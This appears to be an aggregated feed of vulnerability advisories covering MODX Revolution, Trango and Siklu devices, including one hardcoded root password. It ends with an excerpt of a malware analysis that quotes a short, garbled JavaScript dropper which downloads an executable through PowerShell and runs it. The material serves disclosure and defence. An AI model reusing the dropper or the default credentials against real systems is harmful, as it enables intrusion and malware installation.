setup/controllers/welcome.php in MODX Revolution 2.5.4-pl and earlier allows remote attackers to execute arbitrary PHP code via the config_key parameter to the setup/index.php?action=welcome URI.

Trango Apex <= 2.1.1, ApexLynx < 2.0, ApexOrion < 2.0, ApexPlus <= 3.2.0, Giga <= 2.6.1, GigaLynx < 2.0, GigaOrion < 2.0, GigaPlus <= 3.2.3, GigaPro <= 1.4.1, StrataLink < 3.0, and StrataPro devices have a built-in, hidden root account, with a default password that was once stored in cleartext within a software update package …

setup/controllers/language.php in MODX Revolution 2.5.4-pl and earlier does not properly constrain the language parameter, which allows remote attackers to conduct Cookie-Bombing attacks and cause a denial of service (cookie quota exhaustion), or conduct HTTP Response Splitting attacks with resultant XSS, via an invalid parameter value.

The (1) update and (2) package-installation features in MODX Revolution 2.5.4-pl and earlier do not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and trigger the execution of arbitrary code via a crafted certificate.

Trango Altum AC600 devices have a built-in, hidden root account, with a default password of abcd1234. This account is accessible via SSH and/or TELNET, and grants access to the underlying embedded UNIX OS on the device, allowing full control over it.

setup/templates/findcore.php in MODX Revolution 2.5.4-pl and earlier allows remote attackers to execute arbitrary PHP code via the core_path parameter.

The (1) update and (2) package-installation features in MODX Revolution 2.5.4-pl and earlier use http://rest.modx.com by default, which allows man-in-the-middle attackers to spoof servers and trigger the execution of arbitrary code by leveraging the lack of the HTTPS protection mechanism.

Siklu EtherHaul devices before 7.4.0 are vulnerable to a remote command execution (RCE) vulnerability. This vulnerability allows a remote attacker to execute commands and retrieve information such as usernames and plaintext passwords from the device with no authentication.

Siklu EtherHaul radios before 3.7.1 and 6.x before 6.9.0 have a built-in, hidden root account, with an unchangeable password that is the same across all devices. This account is accessible via both SSH and the device’s web interface and grants access to the underlying embedded Linux OS on the device, allowing full control over it.

Sometimes you may find very small pieces of malicious code. Yesterday, I caught this very small Javascript sample with only 2 lines of code: var d=new ActiveXObject(Shell.NormandApplication.replace(Normand, d.ShellExecute(PowerShell,((New-Object System.Net.WebClient).DownloadFile(http://[redacted].exe, xwing.pifStart-Process xwing.pif,, There is no real obfuscation here, just atrick to avoid the detection of the string Shell.Application which often searched by automated tools Sometimes, there …
